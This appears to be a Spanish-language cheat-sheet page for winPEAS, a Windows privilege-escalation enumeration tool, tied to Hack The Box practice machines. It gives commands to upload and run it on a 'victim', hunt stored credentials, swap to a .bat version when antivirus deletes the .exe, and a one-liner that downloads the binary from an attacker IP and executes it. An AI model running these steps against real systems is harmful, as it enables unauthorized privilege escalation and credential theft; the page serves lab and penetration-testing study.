winPEAS
winPEAS es el hermano de linPEAS para Windows. Si el antivirus borra el .exe, prueba la versión .bat o ejecuta solo los módulos que te interesan para generar menos ruido.
- Plataforma
- Windows (.exe, .bat, .ps1)
- Web oficial
- github.com/peass-ng/PEASS-ng
- En HTB
- 6 máquinas
Instalación
wget https://github.com/peass-ng/PEASS-ng/releases/latest/download/winPEASx64.exe- T1574.010 Permisos débiles en servicios
- T1552.002 Credenciales en el registro
- T1218.007 Msiexec
- T1134.001 Suplantación de tokens
- T1574.001 Secuestro de DLL
- Servicios mal configurados
- Credenciales en el registro y el historial
- AlwaysInstallElevated
- SeImpersonate / Potatoes
- DLL hijacking
Chuleta de winPEAS
Tus datos
Se guardan en este navegador y se aplican a todas las chuletas.
Uso
Subirlo con Evil-WinRM
Víctima
upload winPEASx64.exe
Solo servicios (menos ruido)
Víctima
.\winPEASx64.exe quiet servicesinfo
Solo credenciales de Windows
Víctima
.\winPEASx64.exe quiet windowscreds
Si el antivirus borra el .exe: versión .bat
Víctima
.\winPEAS.batEn nuestras chuletas
Escalada en Windows y Active Directory › Windows
winPEAS
iwr http://10.10.14.5/winPEASx64.exe -OutFile C:\Windows\Temp\wp.exe; C:\Windows\Temp\wp.exeNingún comando coincide.
Máquinas de HTB donde se usa winPEAS
Sacadas de los capítulos de los vídeos de IppSec en los que aparece winPEAS. El enlace ▶ salta al minuto de esa parte.
Guías que usan winPEAS
- Escalada en Windows: servicios, rutas sin comillas, DLL hijacking y AlwaysInstallElevated 5 min de lectura Encontrar y abusar de servicios con permisos débiles, rutas sin comillas, DLL hijacking, tareas programadas y AlwaysInstallElevated, a mano o con winPEAS.